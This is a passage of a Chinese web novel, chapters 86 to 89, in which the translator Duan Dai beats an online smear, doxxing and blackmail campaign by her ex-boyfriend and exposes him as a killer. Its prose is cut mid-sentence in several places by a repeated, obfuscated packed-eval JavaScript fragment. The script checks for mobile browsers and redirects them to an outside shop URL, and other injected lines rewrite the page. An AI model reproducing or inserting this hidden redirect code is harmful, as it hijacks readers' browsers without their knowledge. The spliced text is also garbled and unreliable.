l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14091314|139721||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' … ——所以林深的老板呢?出来冒个头,这到底是真的还是假的? ——编的吧,本人都没说什么呢。 ——不会是“我有一个朋友”吧?要是大帝真的渣了你你就放锤啊,聊天记录总有吧? 不过没过多久陈方烨就出现了。他注册了一个V博账号,ID叫“林深陈方烨”,在这个词条下面贴出了他和段黛之前的聊天记录。 截图上全是绿色,几乎都是陈方烨发的,段黛的回复寥寥无几,确实印证了黑曜石所说的段黛冷暴力陈方烨这一点。 接着他还晒了当时的股份交易记录,证明了段黛确实狮子大开口让他高价购入的事实。 陈方烨的这番控诉很快有了热度,虽然没能爬上总热搜榜,但在本地热搜还是有点热度的。 ——没想到啊,段黛居然是这样。 ——好像也不奇怪,段黛大帝看起来冷心冷情的,好像确实很容易冷暴力别人。 ——笑死,别吹什么清醒大女主了,这明明就是渣女好吧? ——有种很荒谬的感觉…… 不过网友们倒也没有一股脑的都信了陈方烨的说辞。毕竟之前段黛接受采访的时候也提过一嘴陈方烨的事情,虽然当时的重点是原生家庭,但也有人记得渣男前男友经常忽视段黛的事。 ——算算时间,莫非那个总忽视段黛的渣男就是这哥吧? ——听当时采访的说法,是那个渣男先总冷暴力段黛吧?要真是他那大帝这么干我觉得还挺爽的。 ——林深搞过几次很迷惑的活动,这么看好像就是在《小姐曾说》发行之后的事……那个时候段黛已经离开林深了? ——虽然说出轨不好,但是如果段黛大帝是甩掉渣男无缝衔接的新男友的话……那我觉得还挺好的。 段黛的消息不算滞后,很快她就看到这些词条了。幸亏之前采访的时候她也说了陈方烨的事情,所以还没到全网谩骂的地步。有人表示段黛干的漂亮,也有人怀疑段黛之前的说辞是假的,毕竟陈方烨的聊天记录里段黛基本不回她也是事实,而段黛这边只是嘴上说了说,并没有出示什么实际的证据。 段黛百无聊赖地看了看词条里的讨论,心里非但不觉得慌张,反而有点想笑。 这个所谓的共同朋友如果不是陈方烨本人,那十有八|九就是邓辞。她之前担心段光耀和赵玉兰会在网上胡说八道道德绑架她,没想到这老两口倒是没干什么,反而是这个看起来没受到多少报应的前男友居然先跳了起来。 裴斯羽是最先联系段黛的:【别怕段黛!虽然临译社没有公关部门,但是我看这也不是特别危机的情况,有我来操作就行了!】 裴斯羽:【你先跟我说一下到底是怎么回事,还有你手上都有哪些证据?】 正在段黛和裴斯羽交流信息的时候,黎尚轩也发来了消息:【我本来想澄清一下咱们才在一起不到两个月的,但是又怕你这边有什么盘算……我应该怎么做才能帮你?】 段黛干脆拉了个三人小群:【听听传播学大佬怎么说。】 86. 谁敢动我的收入 裴斯羽对黎尚轩没有自作主张而是先来征求意见的选择赞不绝口:【很好,我现在先看看网上关于你男朋友的情况……哦天呐,那个黑曜石已经把他的身份说出来了?】 段黛一下子坐直了身子:【什么?】 裴斯羽:【没说特别多,黑曜石说你男朋友是家装设计师,其他的姓名工作单位倒是没有……不过比较要命的是他拍了你男朋友的正脸照,看着还挺清的……】 段黛点开那个黑曜石的主页看了一眼,的确找到了一张黎尚轩的正脸照。她“啧”了一声:【这能告他吧?给我等着。】 说来也是奇怪,段黛对于自己的遭遇并没有什么太大的感受,仿佛自己是抽离出来,在看别人的事情一样。但是如果是身边关系比较好的人遇到麻烦了,段黛倒是会被激起满腔怒火。 黎尚轩:【呜呜呜你对我真好,我好感动。】 裴斯羽:【……】 她只是想来帮忙解决问题的,怎么还会目睹小情侣撒娇啊。 裴斯羽:【没爆出姓名和公司就还好,但是接触过本人的人应该都能认出来。如果可以的话让你男朋友尽量别出现在公众视野里……】 黎尚轩:【我先声明一下我不是小三。黛黛过了半年才答应我呢,我们是十二月才在一起的,现在还不到两个月……】 裴斯羽:【……】 段黛:【你先打住。裴斯羽你先说。】 黎尚轩:【好哦。】 这边鹿颖也找上了段黛:【你该澄清澄清,不用顾忌我!我也会帮忙的!】 段黛:【啊,我还想给你打马赛克呢。】 鹿颖:【要是不需要我出面当然好……不过如果我出面的效果更好的话,我不介意实名上网的!】 开玩笑,现在鹿颖收入的大头其实是那家加盟的奶茶店。要不是段黛一开始财大气粗掏钱出来,鹿颖也不敢一下拿三十万出来。被她拿来兜底的工作还是段黛介绍的,就算将来奶茶店黄了她也不至于穷困潦倒吃不上饭。 鹿颖可不是那些白眼狼,她非常知道感恩。要不是有段黛在,她还不知道猴年马月才能过上现在这么潇洒的日子呢。 鹿颖:【我被骂也没关系,给我点精神损失费就行了!】 开玩笑,有段黛这样的闺蜜,她当狗都没问题。 段黛哭笑不得:【好,到时候真找你。】 关月兰据说气的在办公室破口大骂,整个英法德编辑室的人都知道了段黛的开天窗时期就是之前谈那个王八蛋恋爱的时候,后来甩了渣男了才变成了现在的无敌卷王。现在这个渣男居然要动他们的金字招牌,这简直是忍无可忍。 和段黛为敌就是和临译社为敌,和临译社为敌就是要影响出版物的销量,影响出版物的销量就是对编辑们的收入动手动脚,对收入动手动脚就是……就是生死仇敌! 众编辑在关月兰妙语连珠英法混杂的破口大骂中渐渐明晰了这条逻辑链,瞬间同仇敌忾:“谁敢动我的年终奖!” 好歹是几个明白事的新媒体人把编辑们拉住了,才不至于让他们直接下场对线。 陈方烨的这一出戏其实非常拙劣。唯一让段黛稍微有点反应的关于黎尚轩的事,其实也并没有多么严重。邓辞和黎尚轩不熟,那位“黑曜石”发的关于黎尚轩的信息大概率是陈方烨告诉的。陈方烨虽然见过黎尚轩好几次,但根本不知道他叫什么名也不知道他在哪个公司,所以也没能对黎尚轩造成多大影响。 现在相信段黛的网友都在陈方烨的评论区要求他晒出更往前的聊天记录,看看段黛是不是真的一直都在对他冷暴力。但搞笑的是之前他们谈恋爱的时候,陈方烨总是动不动就删人,V信删除好友就删聊天记录的功能导致现在他手里的聊天记录只有那一截,因此面对网友的质疑他只能顾左右而言他。 段黛当初是直接拉黑了陈方烨,并没有删除他,所以她的手机里倒是完完整整地保留着两人恋爱五年的聊天记录,她的证据可比陈方烨多多了。 于是在裴斯羽整理过之后,段黛便开始有条不紊地展开澄清了。 首先她放了前期两人的聊天记录,两人的角色完全是反过来的。陈方烨不仅经常不回消息,偶尔说那几句还都是指责。虽然段黛给鹿颖的名字打了马赛克,但鹿颖也跳出来发了聊天记录,证明陈方烨在和段黛恋爱期间也经常骚扰自己。 ——艹,到底是谁出轨啊。 ——yue,原来陈老板有白月光啊。 ——幸好白月光是拎得清的。 ——活该啊,大鼻涕掉嘴里知道甩了,孩子死了知道奶了? ——段黛接受采访那段说的是真的,以前她真的有点卑微……甩掉这个煞笔渣男之后事业才好起来了! 陈方烨气急败坏口不择言说她的聊天记录是P的,裴斯羽带领的水军就问那你把真的发出来。陈方烨欲哭无泪:“删好友的时候聊天记录也会被清掉……” 裴斯羽敏锐地捕捉到了关键点:“所以你还删过段黛的好友,是吧?” 陈方烨:“……” 裴斯羽:“又删好友又拉黑的,你说那时你们在谈恋爱没有分手,我请问呢?” 裴斯羽:“@黑曜石,你也别装死,你不是说你是他们的朋友吗?陈方烨怎么对段黛的你不知道?” 黑曜石:“就算之前陈方烨对她不好,那她也可以提分手啊!” 黑曜石:“陈方烨确实有性格缺陷,但是出轨就是错的!是段黛先移情别恋的!” ——出轨确实是不好…… ——也不一定就是出轨吧?说不定段黛是被渣男伤透了心,本来没想好到底要不要分手的,遇到现任之后才鼓起勇气了呢? ——不过冷暴力确实恶心。 ——别双标,前面渣男怎么冷暴力段黛的? 话题被引导到了出轨上来,于是黎尚轩注册了一个账号出面说明,自己和段黛是在两个月前才在一起的。那个时候段黛和陈方烨分手已经有一年半了,而黑曜石发的这几张似是而 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14099630|139721||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 非的照片其实是最近才拍的。照片的背景是今年跨年活动的广场,稍微对比一下就知道这是才发生的事情。 ——卧槽这俩人都好恶心,人家段黛都已经开始新感情了他们还要插一手。 ——段黛大帝都说了希望读者关注作品别关注私生活,要不是他自己跳出来我们都不知道她前任是这种极品渣男。 ——发现没有段黛大帝了自己什么都不是了才想着挽回,结果大帝已经立后了就急眼了是吧? ——楼上你笑死我了,大帝立后了哈哈哈…… ——黑曜石真不是那个渣男的小号? ——我感觉就是。 黑曜石依然不服气:“他们不可能最近才在一起,明明我经常看到他们俩出双入对的!” 有裴斯羽在,段黛几乎不用再操心什么。她按照裴斯羽说的只发证据,多的话一句都不说,让裴斯羽带着水军替她征战就好了。 裴斯羽:【就这小垃圾,根本不用我放大招。】 段黛:【比心.jpg】 她安然自若地做着手里的工作,并没有因为陈方烨的出现而产生什么情绪波动。也不知道陈方烨是不是心虚,被鹿颖锤了之后就不说话了,只剩下这个不知道是不是邓辞的黑曜石还在这里跳。 黑曜石:“好,就算你没有出轨,那你难道没有故意给林深使坏让林深破产?你离开林深之后就买了房子买了车子,你一个翻译有那么多稿费吗?你敢说你没有把林深的商业机密卖给别人?” Season的宋语瑶当即发帖解释了当初段黛离开林深时的事情,她找出了会议记录,证明是陈方烨有意把段黛挤出公司,并不是段黛故意让他以不合理的价格收回股份的。并且宋语瑶言辞犀利,点名陈方烨此人一无是处,根本不足以管理这样一间公司,又刚愎自用不愿意听取别人意见,所以才导致的林深江河日下。 昔日的合伙人也纷纷出现,证明了陈方烨当年故意挤走他们的事。 ——……别扒了哥,越扒越显得这个林深的老板啥也不是。 ——艹笑死我了,陈方烨真就是我最讨厌的那种老板,一拍脑袋就说要怎样怎样,根本不考虑靠不靠谱能不能行。 ——说段黛针对他……原来是指让他做个PPT解释一下方案啊。 ——要不是陈方烨一意孤行非得迈那么大步子,也不至于让Season入股啊? ——我还以为段黛是怎么逼他高价买股份呢,原来是和Season抢啊。卖东西肯定谁给的价格高卖给谁啊,这还能说我真服了…… 黑曜石大约是急了,又发贴称段黛偷税漏税:“她哥哥就因为洗|钱进去了,她肯定也经不起查!你们还不知道吧?段黛的哥哥段墨倒卖艺术品洗|钱,前一阵子进去了一堆企业家,就是在段墨这做的生意!段黛,你敢查税吗?” 几分钟后,段黛终于发了帖子。 “查呗,谁怕谁啊。” 下面附了一张纳税单,和申请查税的记录。 87. 你在教我做事? ——段黛的哥哥洗|钱? ——就是那个一直吸段黛的血的耀祖吧?真不错,这个下场是他应得的。 ——之前我还觉得段黛太仁慈了呢,耀祖和爹妈的下场都不够惨。现在知道耀祖去踩缝纫机了我就舒服多了。 段黛之前参加的采访在此刻发挥了作用,所有人都只觉得段墨的事是大快人心,根本不觉得这是段黛的污点。黑曜石看着大家都在直呼快活可能是气坏了,口出狂言说等查完税之后段黛就要步上她哥哥段墨的后尘了。 几天过去,税务官方发了通知,证明段黛并不存在偷税漏税的情况。毕竟段黛虽然自认为道德感不强,但是却对规则有种莫名的坚持,所以在纳税这里一点小动作都不搞,每年三月还会认真补税上去。 ——他大爷的,段黛大帝威武! ——我靠大帝交了这么多税啊! ——咱们大帝还真是行的正坐的直,一点都不怕人查。 ——大帝不是还投资了凤姿龙章吗?股份分红也不少吧? ——感觉是前男友急眼了,自己破产了前女友却飞黄腾达,眼红得不了才觉得她的收入来路不正呢。 ——@林深陈方烨,别装傻,光会用小号跳,你倒是出来继续说啊? ——要不然查查@黑曜石@林深陈方烨这俩人的税吧?不知道他们是不是一个人。说不定他们自己就有问题,才看谁都觉得人家偷税漏税呢? ——我是出版业的,一般这种文学类的书首印量都不到一万,段黛大帝的书听说第一个月销量都是十万册起步的,印刷厂那边经常收到加印通知呢。大帝收入高的话我是不觉得有什么奇怪的。 ——而且大帝也没炫过富吧?之前去澳洲的那个豪华酒店还是阿伦公司给报销的我记得。 ——段黛大帝挺低调的,也没见她穿戴什么奢侈品,也不至于有钱到人神共愤的地步吧? 黑曜石傻了。 网友们笑了。 段黛按了按眉心,只觉得有点烦了。 其实他们跳过来跳过去都可以被澄清,只是这就像蚊子一样,不会危及生命,但很烦。 黑曜石大概也是急了,找不到什么能对线的事情了就开始造黄谣了。他说段黛的翻译资源来路不正,一口咬定她是靠身体向上爬的。 这一招把段黛和裴斯羽都弄笑了。当年段黛和汪贵宗对线的时候就不怕黄谣这一招,现在他才想起来这一出属实是有些消息滞后。在裴斯羽的安排下,整个临译社的编辑们倾巢而出,集体下场把陈方烨骂了个狗血淋头。 关月兰:【泻药,本人女,段黛老师的责编,从段黛翻译第一本书起就一直由我负责对接。听说有人说我是女同,这里澄清一下,我铁直女。】 临译社社长:【那天,小关说一直开天窗的段黛突然提前交稿了。我心里咯噔一下,她,怎么会呢?段黛老师之前,要安抚前男友反复无常的情绪,要替前男友操持公司的业务,她日理万机,怎么会有空提前交稿呢?我一了解才知道,原来,是她分手了呀!段黛老师再也不用去猜前男友的小心思,再也不用替他谈业务,再也不用为了和翻译不相关的事情耗费心神和精力了……我不禁感动的热泪盈眶,谢谢你前男友,终于和段黛老师解除了劳动合同!】 临译社副社长:【我这么说吧,段黛以前半年翻译一本还总交不上稿,现在一年八本,卷的整个出版社都往前调进度。你品,你细品。】 编辑A:【段黛老师确实和我们有除了工作之外的往来,当时《小姐曾说》出版之后请我们整个英法德编辑室吃饭呢,还喝了段黛老师送的奶茶。】 编辑B:【哦对,段黛老师出国回来还给我们带礼物来着,这是贿赂吗,这算不正当关系吗?】 编辑C:【……】 ——大帝当年就不怕黄谣这招,现在就更不怕了。 ——上一个想造段黛黄谣的现在还挂着尿袋呢。 ——渣男是真急了吧,什么乱七八糟的都往外说。 ——别给他热度了吧,感觉怪没意思的。 ——把临译社的编辑都给逼出来了,笑死我了。 ——瞧瞧这些文字工作者的言辞,一个脏字不带但是又骂的很脏。 ——笑死我了,看来编辑们也憋很久早就想骂人了吧? ——社长的咯噔文学哈哈哈哈哈哈…… 这一招一出来,段黛就知道黑曜石的皮下一定是邓辞跑不了。她倒是没有拉黑邓辞,只不过之前觉得没什么意思所以没直接找他对峙,现在她倒是想知道邓辞到底是怎么想的了。 她找到邓辞的对话框,正在思考自己是应该发消息还是打电话时,新消息弹了出来。 裴斯羽:【他怎么打不过就开盒?快想想你有没有什么不得了的东西在他手上!】 裴斯羽:【对了,报警,要报警。这种都是怂货,一报警就跑了。】 裴斯羽:【你知道这个黑曜石是谁吗?他到底是不是那个前男友本人啊,他到底想干什么?】 段黛直觉似乎是不太好,她迅速打开V博,看到了黑曜石最新一条帖子。 “段黛住址在临安市中央区XX小区。” “段黛,我手里还有很多你想不到的东西。如果你不想让这些东西发出来,就赶紧把我从黑名单里拉出来。” 段黛“嗤”的一声笑了。她退出了界面,直接打开了拨号界面,毫不犹豫地按下了110。 “喂您好,我要报警。” “……” 交代完大致消息后,段黛重新回到V博。话题下面已经吵翻了,全都是对黑曜石开盒行为的怒斥。 ——卧槽,开盒? ——审核你在干什么还不赶紧吧这条删了? ——好恶心啊打不过就爆隐私信息是吧? ——渣男是什么意思,他不会有段黛大帝的那种照片吧? ——报警吧,这种可以报警了。 黎尚轩也看到了消息,发消息给段黛:【这人怎么这样?还好他只是说了小区没说具体门牌号。】 黎尚轩:【你最近千万别出门,要是需要带什么东西我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14112004|139721||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来帮你。】 段黛安抚了一下黎尚轩:【我没事,倒是你,工作有没有受影响?】 黎尚轩:【实不相瞒,我算是因祸得福了。好多人知道我是你男朋友之后了解了一下,发现原来你家也是我设计的。本来我给大翻译家做过设计这事还只是小道消息呢,现在知道的人更多了,好多人都来找我,连我的设计费都翻了几翻。】 段黛挑了挑眉:【真的假的,你不会是为了安慰我撒谎吧?】 黎尚轩直接截了图发给她:【看看。】 上面的报价是当时段黛找他时的两倍,实打实的证明了黎尚轩确实是“因祸得福”。段黛的嘴角忍不住往上扬了扬,她发消息道:【那就好。放心,我不会有事的。】 黎尚轩:【好哦。】 段黛重新打开V博,发了个帖子:“你在教我做事?@黑曜石” 配图是刚才的报警通话记录。 ——大帝牛逼! ——我真想知道这到底是什么朋友能这么恨段黛。 ——大帝身边怎么会有这种朋友啊…… 段黛没再去看下面的评论,她打开邓辞的界面,直接拨了电话过去。 几秒钟后电话接通,邓辞的声音响了起来:“你找我?” 段黛:“别装傻。你和陈方烨串通起来了是不是?” 邓辞有些慌张:“你说什么呢,我都不知道你谈恋爱了……” 段黛:“事是他告诉你的,但是号肯定是你的吧?” “……” 段黛推了一下鼻梁上的眼镜:“说话。” 邓辞依旧嘴硬:“你别污蔑我,说不定网上那些事都是陈方烨自己开了小号在胡说八道……” 段黛淡定道:“你不承认也没事。我到时候会起诉V博要到黑曜石这个账号主人的信息,然后再起诉黑曜石。它曝光了我的隐私、我男朋友的隐私,应该还是很有判头的。” 邓辞明显慌了,他虽然一无所有没什么值得失去的了,但他还不想连最后一点体面都没有了:“你这样费钱费力的又有什么好处……” 段黛:“怎么没有好处,解气啊?我还是很愿意花钱请律师的,争取让他被判的重点。” “你……” 段黛:“陈方烨在你那边吗?” 邓辞:“……” 段黛:“我没拉黑你,我拉黑的是陈方烨。我很想知道,他手里有我什么东西。” 沉默片刻,电话那头响起了陈方烨的声音:“你把我从黑名单里放出来不就好了?” 段黛冷笑一声:“果然是你。” 陈方烨大笑:“你果然还是怕了吧?段黛,咱们毕竟在一起五年,我手里还是有很多你想不到的……” 段黛打断了他:“陈方烨,我想问问你。钱耀祖是怎么死的?” “……” 握着手机的陈方烨登时全身冒出了冷汗:“你在说什么……” 段黛的声音如同鬼魅:“我说,你的舅舅钱耀祖,他到底是怎么死的?” “……” 88. 那不然呢 段黛漫不经心地拨弄着自己的指甲:“当时我没问不代表我不知道这里面有猫腻。你说我如果现在去找警察,说我怀疑钱耀祖溺死在粪便里这件事不是意外,你说你会不会遇到麻烦?” 陈方烨的全身都战栗了起来,他仿佛又回到了两年前那间病房里。熏天的恶臭和手下压着的不停挣扎的后背,最后归于平静时心里的无限惊恐和死寂…… 陈方烨开始结巴了:“你……你不用威胁我,他都已经火化了,现在都这么长时间了,怎么可能查到是我?” “……” 段黛有点想笑。她本来只是想诈陈方烨一下,没想到他自己就说漏了嘴。段黛面色如常,继续道:“别以为过去这么久了就没事了,现在才不到两年呢,好像刑事案件的追诉期最短的也是五年吧?法网恢恢疏而不漏,你怎么知道自己没落下什么蛛丝马迹呢?” “你……” 段黛:“好了,现在你继续说吧,你闹这一出是想要什么?” 电话那头是长久的沉默。 陈方烨这些日子看着新闻报道上的段黛功成名就意气风发,无论如何都不能接受这居然是曾经对自己卑微至极的女朋友。他现在虽然没有到穷困潦倒的程度,但和之前相比绝对是落魄不少。 于是他怒从心头起,恶向胆边生。他见不得段黛现在这么风光,他想要把她从神坛上拉下来。 公众人物都要脸面,这样闹一通之后对陈方烨自己的影响其实不大,但是会让段黛在大众眼里的形象变差。 就算毁不掉她,哪怕是给她找点不痛快也好。 更何况各类举报调查下来,陈方烨不信段黛一点错处没有。如果能把握的好的话,他甚至可以借此捞一笔…… 但是没想到段黛一方面真的毫无疏漏,兵来将挡水来土掩,另一方面她突然提起了这个很久以前的事。 钱耀祖,他的小舅舅,到底是怎么死的? 陈方烨僵在原地,他准备好的所有话术此刻都被迫咽回了肚子。 她都知道了什么? 她还知道什么? “……当初明明就是你对我说,我舅舅会成为新公司的障碍……” 段黛:“你是想说,是我教唆你杀人的?” 对面的邓辞用一种惊奇的眼神看着他,陈方烨的脸色更难看了。他慌慌张张地解释:“我……总之你别想用这个威胁我!真算起来的话你也有份!段黛,你要是不想让你的那种照片飞得到处都是的话,最好把你的嘴闭紧,再给我……” 段黛一脸无所谓:“你想发就发呗,就这还想威胁我。” “……你不要嘴硬,我是真的会发的。” “我没有嘴硬,就算出门看到对面邻居把我的照片打印出来贴在楼道里我也不觉得有什么的。” 当然肯定是会报警的。 陈方烨大吃一惊,面色巨变:“你怎么一点脸都不要了!” 段黛:“你这人真奇怪,我什么都没做怎么就不要脸了?” 邓辞默默听着他们的对话,心里翻卷起惊涛骇浪。陈方烨和段黛俩人,从各种方面都给了他一些震撼。 段黛好像什么都不在乎,似乎根本就没有什么能威胁到她。 “……” 段黛又道:“你还有什么要说的吗?” 陈方烨一时没反应过来:“什么?” 段黛:“把电话还给邓辞吧,我再跟他说几句话。” 陈方烨不明所以,把手机递给了邓辞:“段黛说要……和你说话?” 邓辞接过了手机:“你要对我说什么?” 段黛:“哪些内容是你发的,哪些内容是陈方烨发的?” “……” 段黛:“对了,也问你个事。你之前投资还没赔钱的时候,有好好交税吗?” 已经一穷二白的邓辞猛地扭头,死死瞪着手机屏幕:“我现在都已经……” “以前是以前,现在是现在。就算你把偷的漏的都赔掉了,该欠的还是欠的。这块具体的我不太清楚,好像把漏的税补上了就没事了?如果没补上的话……” 邓辞急了:“我现在哪有钱补税!” 段黛:“所以你果然也有问题是吧。” 因为自己的税务有问题,所以才臆测段黛也有问题。 段黛慢慢道:“我发现让一个人永远消失在我面前的方法,除了死亡,大概就是坐牢了。祝你们顺利吧。” 她挂断了电话。 “喂……喂?喂?” 邓辞拿下手机,通话界面已经没了,退回到了桌面。他抬起头来,对上了陈方烨的视线:“怎么样?” “……” 邓辞忽然升起一股怒火,他一拳敲在陈方烨的眼睛上:“你他妈把老子害惨了!” 陈方烨没料到邓辞会突然对自己动手,一时间呆住了。然而邓辞可不会给他反应的时间,他拽着陈方烨的衣领把人按在了地上,多年来的憋屈与怒火诉诸他的拳头,一下一下拳拳到肉,打的陈方烨毫无招架之力。 “你这种垃圾都能和段黛谈恋爱……她居然为了你能做成这样都不看看我……赚钱的时候没想起我,背后耍阴招使坏倒是想起来拿我当枪使了……” 陈方烨猝不及防被打掉了一颗牙,献血从嘴角溢了出来。挨了几下揍之后他也恍然清醒了,迅速挣扎奋力抗击:“你干什么!” 邓辞揪着陈方烨的衣领,陈方烨捶着他的肚子。邓辞莫名笑了起来,是那种非常瘆人的笑:“段黛说要把我们送进监狱。” “……别胡说八道,监狱那是想送就能送的吗?她现在被吹得再怎么厉害也只是一个翻译,又不是什么手眼通天的企业家政治家……” 邓辞大笑:“你真的觉得你没有什么会被送进去的把柄吗?” 陈方烨愣住了。 他想起来了段黛问他的话。 “……不……不会的……” 段黛打开手机文件,看到了自己刚刚录下的通话音频。她点了播放键,拖动进度条,拉到了陈方烨脱口而出承认自己杀人的那一部分。 段黛听了一会儿,自言自语:“也不知道这个证据有没有法律效果?” 警方再次打电话过来,这次是对应专项的警察了,段黛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14125502|139721||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 详细说了一些自己现在的情况,警察耐心地回答了她想要起诉对方需要做什么。问完之后,段黛呼出一口气:“我怀疑陈方烨杀人了,这是证据。” 电话挂断之后,段黛又发了举报信,举报邓辞前几年的税务有问题。 “这些好像也不到能把他们送进去的程度……算了,能怎样就怎样吧。” 段黛的反击展开了。 钱耀祖的死亡被重新展开调查,本来段黛都没抱多大希望的,没想到真被警察查到了。有个小护士说听到了陈方烨和钱耀祖打斗的声音,还隐约听到了陈方烨威胁的话语。当时自己没敢多话,毕竟医院里这种情况不少见,他们都选择睁一只眼闭一只眼。 另一个有点奇怪癖好的护士甚至拿出了视频,这个护士很喜欢录那种“放弃治疗”的人性黑暗时刻,于是也完完整整地录下了陈方烨杀害钱耀祖的声音。 虽然没有画面,但是声音足够了。 陈方烨的母亲钱婷婷在得知是自己的儿子杀了弟弟之后几乎昏厥,想了半天最后还是决定保儿子,祈求警察能够放自己儿子一码。 邓辞的税务被重新调查了一番。这不查不知道一查吓一跳,综合算下来邓辞漏的税也有二百多万了。虽然不像那些明星网红动辄漏几个亿,但对于普通人来说二百万也很恐怖了。邓辞砸锅卖铁求遍了亲戚朋友也没能凑上二百万,现在人就在进去的边缘疯狂试探。 这两人现在自顾不暇,当然也就没空找段黛的不愉快了。 段黛按市场价给裴斯羽支付了公关费,接着自己的V博继续岁月静好,分享一些工作日常。裴斯羽则找了个小号,把“黑曜石”和“前男友”的近况发了出去,还带着几张官方的通知和回执。 于是网友们迅速清楚了这两人的情况,纷纷嘲笑。 ——难怪举报大帝税务问题了,原来好朋友自己就漏税啊。 ——原来这还真是两个人啊?我还以为是前夫哥自导自演呢…… ——卧槽,前夫哥杀人?幸好大帝离开了,这以后家暴都是轻的,谁知道哪天自己就没了…… ——心疼段黛老师,遇到这么两个人渣。 屋漏偏逢连夜雨,段黛就在这个时候起诉了邓辞和陈方烨,控告他们侵犯了自己的名誉权和隐私权,要求对方赔偿自己的损失。她抓着黑曜石发了黎尚轩的照片与自家住址的事情不放,大有不惜一切代价把邓辞送进监狱的架势。 邓辞是有苦难言,虽然黑曜石是用他的身份注册的账号,但是这两条帖子都是陈方烨拿着他的号发的。两个临时结盟的被告现在撕的不可开交,据说私底下更是大打出手。 陈方烨无奈,私下去找段黛求饶:“我也只是发了他的照片没多发什么……你家住址我也没说具体信息啊……” 段黛微微一笑:“敢动我的男朋友,我告不死你。” 陈方烨听到这种“霸气护夫”的宣言近乎昏厥:“你就那么喜欢他?” 段黛一脸奇怪:“不然呢,我不去喜欢正在交往的男朋友,难道要和前男友拉拉扯扯纠缠不清吗?” 陈方烨的面色再度惨白。 89. 我喜欢的是现在的你 邓辞和陈方烨的事情还是一团乱麻,但段黛这里几乎已经算是结束了。 网友们只当段黛是遇到了小人,很快就把这个插曲抛到了脑后。 除了邓辞和陈方烨之外,所有人都继续着自己的工作和生活。 于是,春节就这样近在眼前了。 以往过年时众人都会回老家,但今年的情况不太一样。关月兰的父母来了临安,于是关月兰不需要大老远赶回家去了。裴斯羽的父母退休了,出门去过“旅行春节”了,到时候也会经过临安,所以裴斯羽也干脆不回老家,一直留在临安了。 身边的朋友因为各种各样的原因,都在年假时留在了这里。他们给段黛发消息,约好大年初一的时候互相串门。 段黛坐在家里,莫名有些好笑。 今年好像……会很热闹啊。 除夕这天,黎尚轩来了段黛家。进门后他放下了手里的购物袋:“我回来的时候想起来应该买颗大白菜的,就去超市了。我天你都想象不到超市到底有多少人……” 段黛拉开袋子看了一眼,里面是一颗水灵却又饱经风霜的大白菜。 “真难为你了,除夕还去超市。” “毕竟想做个醋溜白菜嘛,而且还可以来包饺子。白菜发财,过年了寓意也好。” 段黛和黎尚轩一早就预料到除夕夜超市必定会人山人海,所以他们提前几天就把过年的食材都买好了。没想到百密一疏,平时他俩都没有吃大白菜的习惯,所以也不记得要买,这才让黎尚轩还是去挤了一次。 不过好在他要买的东西不多:“买菜区很多地方的菜都空了,幸好咱们买的早啊。” 段黛莞尔。 黎尚轩进了厨房,熟门熟路地套上了围裙。他在盆里舀了些面粉,加水慢慢和着面。 段黛把他刚买回来的白菜洗了洗,切了一半下来扔进了料理机。盖好盖子后按下旋钮,机器发出了一声轰鸣。 段黛盯着料理机:“这就是传说中的日一声打成糊糊吧。” 黎尚轩在一旁笑:“打碎了就行,别真打成糊糊了。” 段黛:“放心,我自有分寸。” 白菜在料理机的轰鸣声中被打成了碎屑,在即将变得更加软烂时段黛停了手。她打开盖子,将料理机里的白菜倒进了盆里,从里面挑了出一些还没打碎的大块,用菜刀重新切细再倒回去。 段黛又几块葱姜丢进了料理机,这次她打的比较久,这些调味料被打成了真正的糊糊。她将这些糊糊倒进放馅料的盆里的时候,黎尚轩恰好转过头来:“打这么碎?这样也好,不会吃到姜丝了。” 段黛笑了笑:“小时候我爸妈包饺子就是这样,把姜磨成泥之后再调进馅儿里,这样既能提味儿又不会因为吃到姜丝而痛苦。” 说着说着段黛不自觉地开始解释:“不知道你有没有那种……可以吃,但是咬到之后就很不舒服的食物。比如姜就是,我可以吃姜但是不能接受直接咬到姜片,还有西红柿……我很喜欢番茄汁番茄酱,但是直接咬到熟的成块的番茄就会受不了……” 黎尚轩:“我懂,我知道这种感觉。” 段黛垂眸,将料理机内壁的食物残渣一点一点地刮下来:“打成泥,混到馅儿里,这样就不会吃到了。” 黎尚轩从冰箱里拿出来段黛上午就腌好的肉馅儿:“你还是第一次主动说你父母呢。” 